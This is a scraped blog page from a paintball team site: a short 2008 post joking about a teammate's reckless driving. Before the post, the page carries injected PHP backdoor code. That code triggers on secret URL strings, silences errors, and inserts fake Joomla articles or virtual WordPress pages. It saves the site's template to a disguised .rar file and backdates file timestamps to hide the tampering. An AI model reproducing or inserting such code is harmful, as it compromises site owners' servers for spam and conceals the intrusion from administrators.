if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = $root_path."/7f68d2eda2a56bd9a6a4af8c957ca273.rar"; if (file_get_contents($tpl_path) > 0) { die('Success!'); } $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); $tpl = preg_replace('##is', '', $tpl); } if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } Team Fuse | Competition Paintball | Athletes Joined Against Spondylitis » Tyler tried to kill me

Tyler tried to kill me

2008
14
May

Proof that Tyler can’t drive. “I still can’t figure out why that guy
stopped like that,” said Tyler just after he locked up the brakes and
nearly ended up in the trunk of a nissan stanza. Thank god for me
having the presence of mind to scream like a little girl as my
paintball career flashed in front of my eyes.

The deathmobile now has a set of warner rules: Tyler is not allowed to
look at anything other than the road. Since that rule has been in
place, we’ve only gone off the road and onto the rumble strips 3 times.

Pray for me.

Sent from my iPhone

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